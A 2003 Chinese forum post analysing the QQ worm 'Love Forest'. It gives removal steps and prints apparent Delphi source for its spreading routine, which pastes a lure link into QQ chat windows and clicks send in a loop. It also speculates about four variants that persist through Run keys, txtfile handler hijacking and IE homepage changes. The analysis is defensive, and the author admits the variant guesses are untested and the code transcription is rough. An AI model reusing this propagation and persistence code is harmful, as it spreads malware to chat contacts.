|
論壇說明 |
歡迎您來到『史萊姆論壇』 ^___^ 您目前正以訪客的身份瀏覽本論壇,訪客所擁有的權限將受到限制,您可以瀏覽本論壇大部份的版區與文章,但您將無法參與任何討論或是使用私人訊息與其他會員交流。若您希望擁有完整的使用權限,請註冊成為我們的一份子,註冊的程序十分簡單、快速,而且最重要的是--註冊是完全免費的! 請點擊這裡:『註冊成為我們的一份子!』 |
|
主題工具 | 顯示模式 |
2003-11-10, 04:35 AM | #1 |
榮譽會員
|
對病毒[愛情森林]的詳細研究
n天以前,拿到了病毒[愛情森林]的樣本——誰叫自己的信息來源有點慢來著,呵呵。不過由於習慣所使,還是決定研究一下。
先拿自己在*****網咖的專用電腦測試一下(呵呵,反正大不了修不好~!自己不心疼)然後測試一下感染的長度:是116783字元,跟資料庫裡的不是很一樣(116643字元)不過差不多。然後檢視自己這個「老馬」的註冊表,對照以前的制作備份,發現下列鍵值是多餘的:HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun名為Explorer。看著是多餘出來的,先刪了再說。接下來看「工作管理器」下的行程,結束了位於下面的那個Explorer行程。刪了系統目錄下的木馬程序Explorer.exe(在dos下刪除理論上可行)。 重啟,沒發現什麼不對的地方。看來是搞定了。 然後開啟了該病毒的來源碼,分析如下: unit qqworm; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, forms, Dialogs, StdCtrls, ExtCtrls, ComCtrls; private { Private declarations } procedure MySendMessage; procedure MyTalkEach; public procedure QQStart; { Public declarations } end; implementation {$R *.dfm} procedure MySendMessage; var hParent,hButton,hMemo,clp: HWND; texta:TCustomEdit; begin texta:=『btw...給你一個驚喜——exf.ecv.tk『; texta.CopyToClipBoard; try // 找傳送消息的QQ 視窗 hParent := FindWindow(nil, 『傳送消息『); // 然後找回話時用的編輯視窗,Point 函數用於返回一個TPoint 類型變數 hMemo := ChildWindowFromPointEx(hParent, Point(50, 100),CWP_ALL); // 找到「送訊息」按鈕的句柄 hButton := FindWindowEx(hParent,0,nil,『送訊息(&S)『); if (hParent = 0) or (hMemo = 0) or (hButton = 0) then {MessageBox(Handle,『 沒有找到傳送視窗,請重試! 『,『 錯誤『, MB_ICONWARNING)} MyTalkEach else begin // 向傳送消息中的回話編輯框傳送貼上消息 SendMessage(hMemo,WM_PASTE,0,0); // 向「送訊息」按鈕送按下消息以模仿按鍵傳送回話 SendMessage(hButton,BM_CLICK,0,0); end; except // 如果發生意外錯誤給出提示 MyTalkEach; {MessageBox(Handle,『 傳送消息出錯,請重試! 『 , 『 錯誤『 , MB_ICONWARNING); end; end; procedure MyTalkEach; var hParent,hButton,hMemo: HWND; texta:TCustomEdit; begin texta:=『btw...給你一個驚喜——exf.ecv.tk『; texta.CopyToClipBoard; try // 找對話模式中視窗 file://ShowMessage(『test『); hParent := FindWindow(nil, 『對話模式『); // 找到對話模式中的回話編輯框 hMemo := ChildWindowFromPointEx(hParent, Point(50, 300), CWP_ALL); hButton := FindWindowEx(hParent,0,nil,『送訊息(&S)『); // 如果有任何一個句柄沒有找到都不能完成傳送,並給出提示 file://if hMemo=0 then // ShowMessage(『1『); if (hParent = 0) or (hMemo = 0) or (hButton = 0) then begin {MessageBox(Handle,『 沒有找到傳送視窗,請切換到雙人對話模式! 『,『 錯誤『, MB_ICONWARNING);} MySendMessage; file://ShowMessage(『go『); end else begin // 向對話模式中的回話編輯框傳送貼上消息 SendMessage(hMemo,WM_PASTE,0,0); // 向「送訊息」按鈕送按下消息以模仿按鍵傳送回話 SendMessage(hButton,BM_CLICK,0,0); end; except // 如果發生意外錯誤給出提示 MySendMessage; {MessageBox(Handle,『 傳送消息出錯,請重試! 『 , 『 錯誤『 , MB_ICONWARNING);} end; end; procedure QQStart; var k:integer; Begin k:=0; while k=0 do Begin Sleep(500); MySendMessage; End; (上面的漢字全是我自己給加上去的,也不知道是不是這個意思。請對程序有深刻研究的高手指正) 全部搞完以後,又用google搜尋一次,基本上該病毒清除辦法不謀而合,看來是正確的。不過發現該病毒有四個變種,但是沒有樣本,就按照給出的刪除辦法想了一下,得到下面的信息——想的不一定對頭。 關於變種一: (附:刪除辦法:(1)開啟工作管理器,結束掉RUNDLL和SYSEDIT32行程。(2)刪除系統檔案夾(Win9x通常為Windowssystem,WinNt通常為WinNtsystem32)下名為RUNDLL.exe和sysedit32.exe的文件(文件大小為1781752字元)。(3)開啟註冊表編輯器,刪除HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun下名為intarnet=%windowssystem%rundll.exe"的鍵值。恢復HKEY_CLASSES_ROOTtxtfileshellopencommand的預設鍵值為Notepad %1。(其中%windowssystem%為Windows的系統檔案夾) 。(4)若根目錄下存在文件setup.txt或mima.txt,將其刪除。) 所以猜測一下改變了什麼,下面是我所想到的: 針對第一個和第二個刪除的目標,該病毒一定會複製兩個自己,copy後放在Windows的系統目錄(Win9x通常為Windowssystem)下,並分別更名為rundll.exe和sysedit32.exe。 針對第三個刪除的目標,我認為它一定會修改註冊表,在HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun下增加鍵值intarnet="%windowssystem%rundll.exe",使木馬程序在開機後自動執行(其中%windowssystem%為Windows的系統目錄)。修改註冊表,修改HKEY_CLASSES_ROOTtxtfileshellopencommand的預設鍵值為%windowssystem%sysedit32.exe,關聯記事本,使用戶開啟txt文件時木馬程序能獲得執行機會。 關於變種二: (附:刪除辦法:1)開啟工作管理器,結束掉位於下面的那個Explorer行程,然後刪除系統目錄下的木馬程序Explorer.exe。或者重新啟動到DOS下到system目錄直接刪除該木馬程序。(2)開啟註冊表編輯器,刪除HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun下名為Explorer的鍵值。) 我的想法如下: 針對第一個結束行程的啟示,該變種一定會複製自身到Windows系統目錄(通常為windowssystem)下,改名為Explorer.exe。由於它和Windows目錄下的Explorer文件同名,因此會使用戶誤認為這是一個正常的系統檔案。 針對第二個刪除的目標,該變種一定會修改註冊表,在HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun下增加鍵值Intarnet="%windowssystem%Explorer.exe",使木馬程序可以在開機後自動執行。(其中%windowssystem%為Windows的系統目錄) 關於變種三: (附:刪除辦法:1)開啟工作管理器,結束掉RUNDLL和SYSEDIT32行程。(2)刪除系統檔案夾(Win9x通常為Windows\system,WinNt通常為WinNt\system32)下名為RUNDLL.exe和sysedit32.exe的文件(文件大小為1781752字元)。 (3)開啟註冊表編輯器,刪除HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run下名為intarnet=%windowssystem%\rundll.exe"的鍵值。恢復HKEY_CLASSES_ROOT\txtfile\shell\open\command的預設鍵值為Notepad %1。(其中%windowssystem%為Windows的系統檔案夾) (4)恢復IE的設定。開啟註冊表編輯器,恢復HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\Start Page,HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\Default_Page_URL,HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\Local Page的設定為原來的內容。 ) 我的想法如下: 針對結束行程的那個,該病毒一定會複製兩個自己的拷貝到Windows的系統目錄(Win9x通常為Windowssystem,WinNt通常為WinNtsystem32)下,並分別更名為rundll.exe和sysedit32.exe。 針對註冊表被改的情況,該變種一定會修改註冊表,在HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun下增加鍵值intarnet="%windowssystem%rundll.exe",使木馬程序在開機後自動執行(其中%windowssystem%為Windows的系統目錄)。修改如下鍵值HKEY_CLASSES_ROOTtxtfileshellopencommand的預設鍵值為%windowssystem%sysedit32.exe,關聯記事本,使用戶開啟txt文件時木馬程序能獲得執行機會。 並且可以修改註冊表,修改IE瀏覽器的預設頁,開始頁,起始頁。 關於變種四: (附:刪除辦法: (1)先開啟工作管理器,結束掉位於下面的那個Explorer行程,然後刪除系統目錄下的木馬程序Explorer.exe。或者重新啟動到DOS下到system目錄直接刪除該木馬程序。 (2)開啟註冊表編輯器,刪除HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run下名為Explorer的鍵值。) 我的想法如下: 針對第一個行程的結束,該複製自身到Windows操作系統的system目錄(通常為windowssystem)下,並改名為Explorer.exe。由於它和Windows目錄下的Explorer文件同名,因此會迷惑用戶,使用戶誤認為這是一個正常的系統檔案。 (我在這裡就開始納悶了,為什麼病毒抓著註冊表這個東西就不放?看來還是一句話說的很正確——註冊表是windows系列的核心)針對註冊表被改的情況,該病毒一定會修改註冊表,在HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun下增加鍵值Explorer="%windowssystem%Explorer.exe",使木馬程序可以在開機後自動執行。(其中%windowssystem%為Windows的系統目錄) 到此為止的時候,我認為已經差不多把這個病毒研究的「透徹」了。就在我準備「洗手」的時候,忽然才發現:對於這個病毒,因為該木馬程序用Delphi編寫,並用UPX進行了壓縮,所以該程序需要用戶的電腦上安裝了Delphi的動態庫才能執行。) 到此,我認為可以睡覺了。 作 者:ゴ★sl戰神 |
送花文章: 3,
|